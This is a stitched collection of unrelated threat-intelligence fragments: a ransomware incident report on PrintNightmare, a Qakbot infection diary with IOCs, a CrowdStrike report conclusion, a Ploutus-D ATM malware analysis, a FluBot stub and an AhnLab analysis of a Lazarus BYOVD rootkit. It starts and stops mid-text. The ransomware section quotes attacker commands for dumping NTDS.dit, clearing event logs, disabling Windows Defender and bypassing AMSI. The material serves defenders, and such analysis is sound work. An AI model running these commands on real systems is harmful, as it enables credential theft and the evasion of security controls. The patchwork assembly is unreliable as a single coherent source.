There were also artifacts in the environment that indicate that the recently disclosed PrintNightmare vulnerability may have been used during this attack. A DLL associated with PrintNightmare was observed on systems within the environment as described in the section "Credential Access."
### Persistence
**ATT&CK Technique:** Create or Modify System Process (T1543)
In many big-game hunting ransomware attacks, upon achieving initial access into the target environment, the adversary will first attempt to achieve persistence so that they can regain access to the environment if they are detected or their initial point of access is otherwise removed. In this particular case, we observed the adversary leveraging a Windows Service to execute PowerShell to stay persistent in the environment. The Windows service was configured with the following options:
- Service Type: user mode service
- Service Start Type: demand start
- Service Account: LocalSystem
- Service Name: Updater
- Service Filename:
`%COMSPEC% /C start /b %WINDIR%\System32\WindowsPowershell\v1.0\powershell -noP -sta -w 1 -enc [BASE64 ENCODED BLOB]`
As can be seen above, the PowerShell being executed was Base64 encoded. The decoded PowerShell instructions are below:
This PowerShell is responsible for performing the following tasks:
- Disabling PowerShell logging.
- Bypassing AMSI protection for PowerShell.
- Downloading, decrypting, and executing a backdoor payload from an attacker-controlled server.
By implementing this persistence, the attacker can regain access to the environment if the targeted organization destroys their initial means of access.
### Lateral movement
**ATT&CK Technique:** Remote Services (T1021)
**ATT&CK Technique:** Lateral Tool Transfer (T1570)
Once operational within the target environment, attackers will typically perform reconnaissance, identifying additional target systems, and then move laterally from system to system as they attempt to escalate privileges and then, ultimately, deploy ransomware on many systems in the environment. During the investigation, we observed the attacker leveraging Windows Remote Desktop Connections to pivot to additional systems in the environment. This was typically performed via the following command-line syntax:
```bash
C:\Windows\system32\mstsc.exe /v [HOSTNAME]
```
The attacker also attempted to execute PowerShell scripts on remote systems in the environment while moving system-to-system.
```bash
cmd /c powershell.exe -ExecutionPolicy Bypass -file \[IPADDRESS]\share$\p.ps1
```
During the attack, adversaries copied and executed the aforementioned PowerShell script on multiple systems across the environment.
### Credential access
**ATT&CK Technique:** OS Credential Dumping (T1003)
**ATT&CK Technique:** OS Credential Dumping: LSASS Memory (T1003.001)
The actor attempted to extract credentials from the victim in two ways: Accessing the active directory global catalog file ntds.dit and utilizing comsvcs.dll. Comsvcs.dll is a well-known way to extract LSASS (Local Security Authority Subsystem Service) data. By invoking comsvcs.dll with rundll32.exe, an adversary can create a dump of any process. This is a classic and clever living-off-the-land binary (LoLBin) tactic that avoids popular credential extraction tools like Mimikatz, which may alert defenders.
We also observed attempts to dump the NTDS.dit, which is a database of Active Directory information. Examples of the command-line syntax used in these cases are below.
```bash
cmd.exe /q /c powershell ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q 1> \\127.0.0.1\admin$\__[STRING] 2>&1
cmd.exe /q /c powershell ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp_logs' q q 1> \\127.0.0.1\admin$\__[STRING]5 2>&1
```
The actor also utilized PrintNightmare, a recently published series of vulnerabilities by Microsoft that would allow remote code execution when an improper print spooler performs privileged file operations. This attack vector is notable in the ubiquitous nature of print services in all modern corporate enterprises. Microsoft has recently released a security patch for PrintNightmare — we encourage all enterprises to patch immediately to avoid exploitation.
### Defense evasion
**ATT&CK Technique:** Indicator Removal on Host: Clear Windows Event Logs (T1070.001)
**ATT&CK Technique:** Modify Registry (T1112)
**ATT&CK Technique:** Impair Defenses or Modify Tools (T1562.001)
Throughout the attack, the adversary made multiple attempts to evade detection and subvert security controls in place as described throughout previous sections of this blog post. We also observed the attacker attempting to clear the contents of security logs on compromised systems. The following command-line syntax was observed being used to clear the System, Security and Application Windows Event Logs.
```bash
c:\windows\system32\wevtutil.exe cl system
c:\windows\system32\wevtutil.exe cl security
c:\windows\system32\wevtutil.exe cl application
```
The adversary was also observed remotely modifying the Windows Registry on remote systems to disable remote administration restrictions to facilitate lateral movement and privilege escalation activities. Disabling this security control allows attackers to leverage pass-the-hash attacks and hinder RDP's security on systems.
```bash
cmd.exe /q /c powershell new-itemproperty -path hklm:\system\currentcontrolset\control\lsa -name disablerestrictedadmin -value 0 -propertytype dword -force 1> \\127.0.0.1\admin$\__[STRING] 2>&1
```
We also observed the attacker disabling Windows Defender by modifying the Windows Registry on compromised systems. This was performed using the following commands:
```bash
C:\Windows\system32\reg.exe delete HKLM\Software\Policies\Microsoft\Windows Defender /f
C:\Windows\system32\reg.exe add HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection /v DisableRoutinelyTakingAction /t REG_DWORD /d 1 /f
C:\Windows\system32\reg.exe add HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f
```
We also observed the threat actor attempting to evade detection while enumerating the environment using an AMSI bypass, which is often used as a way to evade detection by endpoint security solutions that may be present on compromised systems. In this case, the Windows Command Processor was used to invoke PowerShell, which then leveraged Invoke-Expression (IEX) for this purpose.
```bash
cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C IEX ([Net.ServicePointManager]::ServerCertificateValidationCallback={$true}try{[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'i
```
### Exfiltration
**ATT&CK Technique:** Exfiltration Over Alternative Protocol (T1048)
Over the past couple of years, we have observed an increasing number of ransomware threat actors adopting a double-extortion methodology in their attacks. In these attacks, adversaries attempt to exfiltrate large quantities of sensitive information for the purposes of further extortion against victims. This data, once exfiltrated, is published to attacker-controlled websites that are commonly referred to as "data leak sites" in situations where the victim chooses not to pay the ransom demand.
In this attack, we observed the adversary attempting to exfiltrate sensitive information over SMB (TCP/445) directly from a compromised domain controller. This was likely chosen as a way to bypass egress filtering that may have been in place at the perimeter of the victim environment.
## Defender takeaways
It can be difficult to account for the myriad ways an attacker can compromise and inflict malware on a network. Given the techniques demonstrated here, it can feel overwhelming as a defender to account for every avenue of attack. The good news is that there are several lessons we can learn about this incident:
- Logging is critical for forensics — ensure there is reliable and secure logging infrastructure in place.
- Utilize multi-factor authentication to make credential theft more difficult to exploit.
- Look at egress filtering for firewalls and ensure malicious traffic cannot call out to adversary infrastructure.
- Utilize an endpoint detection response platform that detects LoLBin abuse and malware implants.
- Keep up-to-date and offline backups that cannot be targeted by adversaries.
## Conclusion
As demonstrated throughout this post, attackers often make use of a variety of tactics, techniques, and procedures as they work to accomplish their mission objectives. In some instances, there is significant overlap and similarities between the approaches taken by distinct threat actors. They often leverage dual-use tools for various purposes to minimize their footprint and evade detection. Likewise, adversaries are constantly refining their approach to the ransomware attack lifecycle as they strive to operate more effectively, efficiently, and evasively. The use of the vulnerability known as PrintNightmare shows that adversaries are paying close attention and will quickly incorporate new tools that they find useful for various purposes during their attacks. Multiple distinct threat actors are now taking advantage of PrintNightmare, and this adoption will likely continue to increase as long as it is effective. It is important that defenders be aware of the various TTPs being used throughout the attack lifecycle so that they are prepared to prevent, detect, and respond to nefarious activity that may be indicative of a successful compromise of their environment. Failure to do so could result in widespread operational disruption, reputational damage, and the loss of confidentiality of sensitive information.
## Indicators of Compromise (IOCs)
The following IOCs have been observed being associated with the attack.
**PrintNightmare DLL:**
`6f191f598589b7708b1890d56b374b45c6eb41610d34f976f0b4cfde8d5731af`
|
# Qakbot Infection with Cobalt Strike and VNC Activity
**Published:** 2022-03-16
**Last Updated:** 2022-03-16 05:27:22 UTC
**By:** Brad Duncan
## Introduction
On Monday 2022-03-14, I infected a vulnerable Windows host with Qakbot (Qbot) malware. Approximately 17 hours later, the infected host generated traffic for Cobalt Strike and VNC (Virtual Network Computing) activity. Like Cobalt Strike, VNC provides remote access to an infected host. DLL files used for Qakbot infections have tags in the code that identify the malware sample's distribution channel. In this case, the distribution tag was obama166. Today's diary provides a quick review of the infection activity.
## Images From the Infection
- Flow chart for Qakbot infection activity on Monday 2022-03-14.
- Example of email for obama166 distribution Qakbot on Monday 2022-03-14.
- Downloading a zip archive from link in an email.
- Excel spreadsheet extracted from downloaded zip archive.
- DLL files downloaded for Qakbot infection.
- Traffic from the infection filtered in Wireshark.
- New Qakbot DLL saved to the infected Windows host shortly after the initial infection.
- More traffic from the Qakbot infection filtered in Wireshark.
- TCP traffic over port 65400 associated with this Qakbot infection.
- Data binary saved to disk at C:\u\ from the Qakbot infection.
- Cobalt Strike activity started about 17 hours after the initial Qakbot infection.
- TCP SYN segments for VNC traffic caused by this Qakbot infection.
- First TCP stream for the VNC activity.
- Second TCP stream for the VNC activity.
- Third TCP stream for the VNC activity (10 MB of data).
- ETPRO alerts in Security Onion for the VNC traffic from this infection.
- Registry update made by the Qakbot infection.
## Indicators of Compromise (IOCs)
Link from email for zip download:
hxxp://eaglio[.]org/apm/3/s2Fmok83x.zip
Traffic generated by Excel macro for Qakbot DLL files:
hxxp://101.99.95[.]190/6537991.dat
hxxp://146.70.81[.]64/6537991.dat
hxxp://190.14.37[.]12/6537991.dat
Qakbot C2 traffic:
201.170.181[.]247 port 443 - HTTPS traffic
port 443 - www.openssl[.]org - HTTPS traffic (connectivity check)
23.111.114[.]52 port 65400 - TCP traffic
76.169.147[.]192 port 32103 - HTTPS traffic
103.87.95[.]131 port 2222 - HTTPS traffic
86.98.27[.]253 port 443 - HTTPS traffic
various IP addresses over various ports - attempted TCP connections
Cobalt Strike traffic:
190.123.44[.]113 port 4444 - runfs[.]icu - HTTPS traffic
VNC module traffic:
45.153.241[.]142 port 443 - encoded/encrypted traffic and beacon channels
Rule hits on VNC module traffic:
ETPRO MALWARE VNCStartServer USR Variant CnC Beacon
ETPRO MALWARE VNCStartServer BOT Variant CnC Beacon
Malware retrieved from the infected Windows client:
SHA256 hash: ba80720c42704e8e1a73e60906f6f289ba763365c8f6b16ccf47aac8a687b83e
File size: 92,828 bytes
File location: hxxp://eaglio[.]org/apm/3/s2Fmok83x.zip
File name: ClaimDetails-1699343128-Mar-14.zip
SHA256 hash: 5a6157eefc8d0b1089a5bfdee351379b27baff4c40b432fd22e0cbe1f6102fab
File size: 120,410 bytes
File name: ClaimDetails-1699343128-Mar-14.xlsb
SHA256 hash: 47fe3cbab19b43579e3312d90f7a8c7021c84e228e7c8ef97d39a1a7a261ea01
File size: 408,576 bytes
File location: hxxp://101.99.95[.]190/6537991.dat
File location: C:\Biloa\Dopaters1.ocx
File type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Run method: regsvr32.exe [filename]
SHA256 hash: 8751f8aedc65a10826071515b4b7896a8800152b8e3bcbbe9e8a64970deb9b49
File size: 408,576 bytes
File location: hxxp://146.70.81[.]64/6537991.dat
File location: C:\Biloa\Dopaters2.ocx
File type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Run method: regsvr32.exe [filename]
SHA256 hash: 7312353bab71ecefec6888bb804afd71f67178ded4ce41960924d3d6f7400320
File size: 408,576 bytes
File location: hxxp://190.14.37[.]12/6537991.dat
File location: C:\Biloa\Dopaters3.ocx
File type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Run method: regsvr32.exe [filename]
SHA256 hash: 7264fc1e81ff854b769f8e19ced247fb95210a58ddd5edce4a6275ddc38e5298
File size: 920,064 bytes
File location: C:\Users\[username]\AppData\Roaming\Microsoft\Hezuky\bbcdipimaxckk.dll
File type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Run method: regsvr32.exe [filename]
Note: No binaries for Cobalt Strike or the VNC activity were found on the infected Windows host.
## Final Words
This infection shows some changes in Qakbot. Earlier this year, Qakbot samples created a scheduled task that pointed to an additional registry update with base64 code used to re-create the Qakbot binary after a reboot. I no longer see that with recent Qakbot samples. Also, this infection didn't stay persistent after logging out or doing a reboot. Normally, Qakbot keeps the active DLL in memory. If a victim logs out or reboots, Qakbot saves the in-memory DLL to disk and creates a registry update at HKCU\Software\Microsoft\Windows\CurrentVersion\Run. After rebooting and/or logging back in, this registry update loads the DLL, then Qakbot deletes the registry update and erases the DLL that had been saved to disk. In this case, a Qakbot DLL was already saved to disk long before I tried logging out/rebooting. Furthermore, the infection did not persist after I logged out. There's also a data binary stored at a C:\u\ directory created by Qakbot. From a forensic point of view, things are noticeably different with recent Qakbot infections. Not drastically different, but the changes are noticeable. A pcap of the infection traffic along with malware (Excel file and DLL) from an infected host can be found here.
---
**Brad Duncan**
brad [at] malware-traffic-analysis.net
**Keywords:** VNC, Qbot, Qakbot, malspam, CobaltStrike, Cobalt Strike
|
the identified improvements are most critical and how they will be implemented over time. This roadmap should include timelines, responsible parties, and metrics for success.
### CONCLUSION
The CrowdStrike Services Cyber Front Lines Report provides valuable insights into the evolving landscape of cybersecurity threats and the strategies organizations can adopt to enhance their defenses. By understanding the key themes and findings from 2020, organizations can better prepare for future incidents and strengthen their security posture. Continuous monitoring, proactive incident response, and a commitment to improving cybersecurity practices are essential in the fight against cyber adversaries.
|
# New Variant of Ploutus ATM Malware Observed in the Wild in Latin America
**Daniel Regalado**
**Jan 11, 2017**
**8 mins read**
## Introduction
Ploutus is one of the most advanced ATM malware families we’ve seen in the last few years. Discovered for the first time in Mexico back in 2013, Ploutus enabled criminals to empty ATMs using either an external keyboard attached to the machine or via SMS message, a technique that had never been seen before. FireEye Labs recently identified a previously unobserved version of Ploutus, dubbed Ploutus-D, that interacts with KAL’s Kalignite multivendor ATM platform. The samples we identified target the ATM vendor Diebold. However, minimal code change to Ploutus-D would greatly expand its ATM vendor targets since Kalignite Platform runs on 40 different ATM vendors in 80 countries.
Once deployed to an ATM, Ploutus-D makes it possible for a money mule to obtain thousands of dollars in minutes. A money mule must have a master key to open the top portion of the ATM (or be able to pick it), a physical keyboard to connect to the machine, and an activation code (provided by the boss in charge of the operation) in order to dispense money from the ATM. While there are some risks of the money mule being caught by cameras, the speed in which the operation is carried out minimizes the mule’s risk. This blog covers the changes, improvements, and Indicators of Compromise (IOC) of Ploutus-D in order to help financial organizations identify and defend against this threat.
## Previously Unobserved Features of Ploutus-D
- It uses the Kalignite multivendor ATM Platform.
- It could run on ATMs running the Windows 10, Windows 8, Windows 7, and XP operating systems.
- It is configured to control Diebold ATMs.
- It has a different GUI interface.
- It comes with a Launcher that attempts to identify and kill security monitoring processes to avoid detection.
- It uses a stronger .NET obfuscator called Reactor.
## Commonality Between Ploutus and Ploutus-D
- The main purpose is to empty the ATM without requiring an ATM card.
- The attacker must interact with the malware using an external keyboard attached to the ATM.
- An activation code is generated by the attacker, which expires after 24 hours.
- Both were created in .NET.
- Can run as Windows Service or standalone application.
## Dissecting Ploutus-D
Ploutus-D (observed in the wild with the filename of “AgilisConfigurationUtility.exe”) can run as a standalone application or as a Windows service started by a Launcher (observed in the wild as “Diebold.exe”). Although multiple functionalities are shared between the two components, the main difference is that Ploutus-D is the component with the capability to dispense money.
### Launcher – Diebold.exe (.NET)
- **MD5**: C04A7CB926CCBF829D0A36A91EBF91BD
- **.NET Obfuscator**: Reactor
- **File Size**: 198 kB
- **File Type**: Win32 EXE
- **Time Stamp**: 2016:11:16 04:55:56-08:00
- **Code Size**: 199168
- **File Version**: 0.0.0.1
- **Internal Name**: Diebold.exe
- **Legal Copyright**: Copyright © 2015
- **Original Filename**: Diebold.exe
- **Product Name**: Diebold
- **Product Version**: 0.0.0.1
This time, the attackers put more effort into trying to obfuscate and protect their code from reverse engineering by switching from .NET Confuser to Reactor.
### Inspecting the Launcher
Once the code is deobfuscated, it is easy to understand the internal workings. Before the Launcher execution starts, it will perform an integrity check on itself to make sure it has not been altered. The Launcher can receive different arguments in the command line to either install as a service, run Ploutus-D, or uninstall from the machine.
### Persistence
Using a very common persistence technique, the malware will add itself to the “Userinit” registry key to allow execution after every reboot. The key is located at:
`\HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit`
### Interacting with the Launcher
The attacker must interact with the Launcher by attaching a keyboard to the ATM USB or PS/2 port. Once the Launcher has been installed in the ATM, it will perform keyboard hooking in order to read the instructions from the attackers via the external keyboard. A combination of “F” keys will be used to request the action to execute.
The main tasks supported are:
- Start programs on demand, some of which are decrypted from the resource section of the Launcher:
- `C:\Program Files\Diebold\Agilis Startup\AgilisShellStart.exe`
- `Main.exe`
- `XFSConsole.exe`
- Kill Processes:
- `NHOSTSVC.exe`
- `AgilisConfigurationUtility.exe`
- `XFSConsole.exe`
- Delete Files:
- `NetOp.LOG` – Secure Remote Management solution
- Reboot Machine:
- `wmic os where Primary='TRUE' reboot`
Legitimate KAL ATM software is dropped into the system along with Ploutus-D. The K3A.Platform.dll DLL will load the Kalignite Platform to allow Ploutus-D to control the ATM. This shows that the attackers likely have access to the targeted ATM software.
### Ploutus-D – AgilisConfigurationUtility.exe (.NET)
- **MD5**: 5AF1F92832378772A7E3B07A0CAD4FC5
- **.NET Obfuscator**: Reactor
- **File Size**: 274 kB
- **File Type**: Win32 EXE
- **Time Stamp**: 1992:06:19 15:22:17-07:00
- **Code Size**: 29696
- **OS Version**: 4.0
- **Image Version**: 0.0
- **Subsystem Version**: 4.0
Similar to the Launcher, this binary also came protected with Reactor obfuscator. Looking at the unprotected code, the connection with Ploutus became evident since the names of most of the functions are the same as in the first version.
Ploutus-D will make sure a mutex with the name “KaligniteAPP” does not exist in the system in order to start running. Similar to the Launcher, Ploutus-D will hook the keyboard in order for the attackers to interact with it; however, apart from receiving commands from “F” keys, it will also read from the numeric pad (numbers).
Similar to the previous version, the GUI will be enabled by entering a combination of “F” keys. Then, a valid 8-digit code must be entered in the GUI in order to be able to dispense money. Ploutus-D also allows the attackers to enter the amount to withdraw (billUnits – 4 digits) and the number of cycles (billCount – 2 digits) to repeat the dispensing operation.
All the actions are logged into a file with the name “Log.txt”.
## Dispensing the Money
In order for the mule to be able to start dispensing money, a valid 8-digit code must be entered. This code is provided by the boss in charge of the operation and is calculated based on a unique ID generated per ATM, and the current month and day of the attack. Once a valid activation code has been entered (which expires in 24 hours), the dispensing process will start by pressing “F3” from the external keyboard.
The malware will first identify the cassette’s denomination by querying the registry denomination table from Diebold Dispenser Logical Name “DBD_AdvFuncDisp”. A similar strategy will be used to get the cassette’s status and type, to make sure they are working properly, and, more importantly, to identify that it has at least one bill to withdraw. Ploutus-D will load “KXCashDispenserLib” library implemented by Kalignite Platform (K3A.Platform.dll) to interact with the XFS Manager and control the Dispenser.
## Expanding Ploutus to Other ATM Vendors
Kalignite Platform is said to support 40 ATM vendors. Looking at the code to dispense money, the only pieces adjusted to target Diebold are the different registry keys to read the cassette (DBD_AdvFuncDisp) parameters. Since Ploutus-D interacts with the Kalignite Platform, only minor modifications to the Ploutus-D code may be required to target different ATM vendors worldwide.
## Conclusion
As anticipated in our 2017 predictions report, the use of ATM malware will continue to increase, especially in underdeveloped countries with weaker physical security controls. By leveraging the Kalignite Platform, Ploutus can be easily modified to attack various ATM vendors and operating systems.
## Frequently Asked Questions
1. **When was Ploutus-D first discovered?**
Ploutus-D was uploaded to VirusTotal in November 2016.
2. **Does Ploutus-D target cardholder information?**
No. It is designed to dispense cash from within the ATM.
3. **Is Ploutus-D already affecting ATMs in the wild?**
Yes. It has been observed in Latin America.
4. **What type of ATMs are affected?**
Ploutus-D affects Diebold ATMs. Minor modifications could be made to Ploutus-D to affect other vendors using the Kalignite Platform.
5. **How is Ploutus-D installed on the ATM?**
Through physical access to the ATM.
6. **How do attackers interact with Ploutus-D?**
Via an external keyboard that needs to be connected to the ATM.
## IOCs
**FileSystem:**
- [D-Z]:\Data\P.bin
- C:\Diebold\EDC\edclocal.dat
The following files should be found at the same place where the service Diebold.exe is located:
- Log.txt
- Log2.txt
- P.bin – Mac address of the system, plus string: “PLOUTUS-MADE-IN-LATIN-AMERICA-XD”
- PDLL.bin – Encoded version of P.bin
**Mutex names:**
- Ploutos
- DIEBOLDPL
- KaligniteAPP
**Services:**
- Service Name: DIEBOLDP
**Registry:**
- `\\HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit=”Diebold.exe,%system32%/userinit.exe`
|
# Resurgent FluBot Malware Targets German and Polish Banks
Fair Use: Please note that use of the Netcraft site is subject to our Fair Use and Copyright policies. For more information, please visit the Netcraft terms page or email [email protected].
|
# AhnLab Cyber Threat Intelligence Report
**TLP: GREEN**
**Analysis Report on Lazarus Group's Rootkit Attack Using BYOVD**
**AhnLab Security Emergency Response Center (ASEC)**
**September 22, 2022**
## Classification
Publications or provided content can only be used within the scope allowed for each classification as shown below.
| Classification | Distribution Targets | Precautions |
|----------------|----------------------|-------------|
| TLP: RED | Reports only provided for certain clients and tenants | Documents that can only be accessed by the recipient or the recipient department. Cannot be copied or distributed except by the recipient. |
| TLP: AMBER | Reports only provided for limited clients and tenants | Can be copied and distributed within the recipient organization (company) of reports. Must seek permission from AhnLab to use the report outside the organization, such as for educational purposes. |
| TLP: GREEN | Reports that can be used by anyone within the service | Can be freely used and utilized as educational materials for internal training, occupational training, and security manager training. Strictly limited from being used as presentation materials for the public. Cite source. |
| TLP: WHITE | Reports that can be freely used | Can produce derivative works by changing the content. |
**Remarks**
If the report includes statistics and indices, some data may be rounded, meaning that the sum of each item may not match the total. This report is a work of authorship protected by the Copyright Act. Unauthorized copying or reproduction for profit is strictly prohibited under any circumstances. Seek permission from AhnLab in advance if you wish to use a part or all of the report. If you reprint or reproduce the material without the permission of the organization mentioned above, you may be held accountable for criminal or civil liabilities.
**Version Information**
| Version | Date | Details |
|---------|------|---------|
| 1.0 | 9/22/2022 | Analysis Report on Lazarus Group's Rootkit Attack Using BYOVD |
## 1. Overview
Since 2009, Lazarus Group, known to be a group of hackers in North Korea, has been attacking not only Korea but various countries in America, Asia, and Europe. According to AhnLab's ASD (AhnLab Smart Defense) infrastructure, in early 2022, the Lazarus Group performed APT (Advanced Persistent Threat) attacks on Korea's defense, finance, media, and pharmaceutical industries.
AhnLab closely tracked these APT attacks and discovered that these attacks incapacitate security products in the attack process. An analysis of the attack process revealed that the Lazarus Group exploits an old version of the INITECH process to perform the initial compromise before downloading and executing the rootkit malware from the attacker's server. The rootkit malware identified in the recent product-disabling attack abused vulnerable driver kernel modules to directly read and write to the kernel memory area, thereby disabling all monitoring systems inside the system, including AV (Anti-Virus).
This technique is called the "BYOVD (Bring Your Own Vulnerable Driver)" method and is known to be performed mainly on vulnerable driver modules of hardware supply companies. With the latest Windows OS, unsigned drivers can no longer be loaded; however, attackers can use legally signed vulnerable drivers to control the kernel area easily.
The vulnerable driver module used by the Lazarus Group, in this case, was a hardware-related module manufactured by "ENE Technology." This module used the original form of an open-source library called "WinIO," developed by Yariv Kaplan in 1999. The problems with this module include not only the fact that it uses an old open-source code but also the fact that the verification condition for calling modules is weak, which enables reading and writing to an arbitrary kernel memory area via a simple bypassing process.
Thus, the attacker was able to read and write to an arbitrary kernel memory area through this module and by modifying data in all areas related to the kernel, including files, processes, threads, registries, and event filters, disabled all monitoring programs within the system, including AV.
## 2. ene.sys Analysis
### 2.1. Physical Memory Mapping
The ene.sys driver module developed by "ENE Technology" was created with the WinIO library, an open-source code, and it is a module that allows direct access to the physical kernel memory and the I/O port from the user area. The driver's method of accessing the physical memory is the shared memory mapping method via the "ZwMapViewOfSection" API.
Thus, the user process that communicates with ene.sys becomes able to map the physical memory of kernel areas through IOCTL communication. This means that an arbitrary physical kernel memory area can be controlled from the user area.
The feature to map directly onto the physical memory area may be needed by certain drivers depending on their features. However, as it can become a huge risk if abused, drivers using this feature must undergo extensive caller verification processes.
### 2.2 Caller and Data Validity Verification
The caller verification process of ene.sys is designed in a way that attackers can easily bypass it. The process through which a driver verifies the caller and the validity of the data is shown in the following.
#### 2.2.1. SB_SMBUS_SDK.dll Module Loading Verification
ene.sys calls "PsSetLoadImageNotifyRoutine" API when the driver is loaded and registers a callback routine related to module processing to the kernel. When the module callback is registered, the kernel provides a feature that allows the execution of a callback routine when the module is loaded in the process.
The callback routine registered by ene.sys checks if the loaded module in the process is SB_SMBUS_SDK.dll, and if it is confirmed to be SB_SMBUS_SDK.dll, the routine recognizes the process in question as one that can be trusted and saves its PID information onto the global variable of the ene.sys driver. As a result, the process which has loaded SB_SMBUS_SDK.dll can undertake IOCTL communication with the ene.sys driver.
#### 2.2.2. AES Encrypted IOCTL Communication and Call Time Verification
In order for a user area process to request physical memory mapping to ene.sys, it must transmit a specific IOCTL value (0x80102040). The buffer transmitted to the driver alongside IOCTL can be seen in the struct information below.
```c
typedef struct _WINIO_PHYSICAL_MEMORY_INFO_EX {
ULONG_PTR CommitSize;
ULONG_PTR BusAddress;
HANDLE SectionHandle;
PVOID BaseAddress;
PVOID ReferencedObject;
UCHAR EncryptedKey[16];
} WINIO_PHYSICAL_MEMORY_INFO_EX, *PWINIO_PHYSICAL_MEMORY_INFO_EX;
```
Out of the struct members, the physical memory address requiring memory mapping is saved to the BusAddress variable, and the current time value encrypted with AES-ECB is saved to the EncryptedKey variable.
In order to verify the valid IOCTL value requested by the user area, ene.sys calculates the difference between the time of IOCTL calling and the time this IOCTL was received by the driver and processed. If the difference in time is less than 2ms, the driver recognizes it as being valid and processes the requested IOCTL.
### 2.3. ene.sys Driver (WinIO Library) Vulnerability
Putting together the aforementioned, the ene.sys driver is a driver that can map the physical memory area from the user area and is also a vulnerable driver with inadequate verifications for callers and data. Upon analyzing the distribution routes of the driver with AhnLab's ASD infrastructure, it was confirmed that it is mainly distributed as an RGB RAM module control module of MSI, a laptop manufacturer. If ene.sys is installed in the user PC environment, it has the risk of being abused by the attacker. Thus, if it doesn't affect performance, it must be removed.
## 3. Rootkit Malware Analysis
The execution flow of the rootkit malware used by the Lazarus Group to disable security products is described below.
The rootkit operates as a DLL on the rootkit loader process memory and upon execution, generates a vulnerable driver module (ene.sys) on the system drive path. It then loads the generated driver and modifies a specific address value in the kernel memory area. The address area modified by the vulnerable kernel driver is the PreviousMode address of the rootkit thread object running as a DLL, and this value is changed to 0. When the PreviousMode value of the user thread object is changed to 0, the driver is able to access the kernel area from the user area through the "NtWriteVirtualMemory" API. Afterward, the attacker manipulated the kernel memory from the user area and disabled the security system within the system.
### 3.1 Rootkit Loader (~BIT353.tmp)
According to AhnLab's ASD infrastructure, the Lazarus Group distributed the rootkit in 2 formats: DLL (~BIT353.tmp) and fileless formats. This report analyzes the DLL rootkit.
~BIT353.tmp saves the rootkit DLL internally with XOR encryption, which is decrypted in memory upon execution. Thus, the rootkit itself is designed to operate in memory.
### 3.2 Rootkit (Advance Preparation Stage)
The rootkit is compressed into a Vmprotect executable to disrupt analysis and contains the following two export functions.
- Compile time: 05/24/2022 12:15:32 (UTC)
- Close(): Executes rootkit
- Create(): Verifies rootkit load process memory environment
- DLL name: FudModule.dll
#### 3.2.1. Rootkit Export Function
**a. Close()**
The Close function verifies the image and memory areas where the rootkit was loaded through the "NtQueryVirtualMemory" API.
- Type of pages in the region (DLL base path) & 0x20000 == 0 (MEM_PRIVATE verification)
- Type of pages in the region (DLL base path) & 0x1000000 == 0 (MEM_IMAGE verification)
- Check if the mapped file name exists in the DLL BASE address
- Check if the running OS is Win 10 RS3 or more recent
- Check if the ImageSignatureLevel includes at least one of the following:
- SE_SIGNING_LEVEL_MICROSOFT
- SE_SIGNING_LEVEL_WINDOWS
- SE_SIGNING_LEVEL_WINDOWS_TCB
**b. Create()**
Create is the core function of the rootkit responsible for ene.sys driver creation, service execution, and disabling of security products.
#### 3.2.2. Infection Target Verification Routine
The rootkit calculates the result value of the "GetComputerNameW" API call with SHA256 and only when it matches the specified value, performs the malicious behaviors. This signifies that the infection target is clear, and it can be deduced that this is an APT attack.
#### 3.2.3. Checking OS Version
The rootkit refers to the OSBuildNumber field of the PEB struct to obtain the OS information of the current system. The purpose of the rootkit is to disable security products by modifying the global kernel data (callbacks and global variables). In order to successfully disable the system, the kernel area offset data, which is different for each OS, must be precisely modified.
#### 3.2.4. Loading Vulnerable Driver Modules
In order to obtain read and write permissions for the kernel memory area, the rootkit utilizes vulnerable kernel driver modules. The kernel driver module used in the attack is called ene.sys, manufactured by "ENE Technology." After verifying the infection target and checking the OS version, the rootkit generates the ene.sys driver on the system path. The rootkit modifies the binary path of the preregistered service.
#### 3.2.5. Obtaining the Kernel DTB (Directory Table Base) Address
Through the processes above, the rootkit uses the ene.sys module to obtain read and write permissions with physical memory mapping on arbitrary kernel memory areas. However, as memory mapping is only possible for physical memory addresses, the rootkit must know the physical memory address of the PreviousMode field of the ETHREAD object which it ultimately aims to modify.
#### 3.2.6. Address Conversion (Virtual Address > Physical Address)
The reason the rootkit obtained the Kernel DTB (CR3 register) address of the system process is to implement a code that can directly convert the virtual address to a physical address.
#### 3.2.7. Modification of the Thread Object's PreviousMode Field
The PreviousMode field is a field that verifies in the kernel whether the thread object has been called from the user area. Thus, if this member variable is set to "0", one can access the kernel area even from the user area. In order to modify the PreviousMode field, the rootkit used the virtual address-physical address conversion code and physical kernel memory mapping to change the PreviousMode field value from "1" to "0".
### 3.3. Rootkit (Security Product Disabling Stage)
Disabling of security products by the rootkit is based on a whitelist system. Thus, all monitoring systems, excluding the crucial normal system driver files, are removed. The removal process involves using the "ZwWriteVirtualMemory" API to control the global kernel data.
#### 3.3.1. Disabling Mini File Filter (fltmgr.sys)
Disabling of the mini file filter involves checking whether the callback address registered to the mini file filter (FltMgr) is included in the whitelist drivers. If the registered driver is not on this driver list and the Altitude of the driver is included in "Anti-virus, Activity-Monitor, or Content Screener altitude," it becomes a target of disablement.
#### 3.3.2. Disabling Process/Thread/Module Detection
The kernel offers a feature to monitor whenever a process, thread, or module is newly created or loaded. Normally, this monitoring feature offered by the kernel is used to detect malware by the security products. The rootkit manipulates the data of the address to remove all process/thread/module callbacks based on a whitelist.
#### 3.3.3. Disabling Registry Callback
The rootkit checks the starting byte of "CmUnRegisterCallback" by comparing the binary pattern of the ntoskrnl.exe process. It modifies the global kernel data named nt!CallbackListHead to disable the registry callback registered on the system.
#### 3.3.4. Disabling Object Callback
The rootkit modified the object callback list to disable the security products' access control over process and thread objects. By removing the callback connection list, the rootkit was able to disable the security products' access control over process objects.
#### 3.3.5. Disabling WFP Network Filter
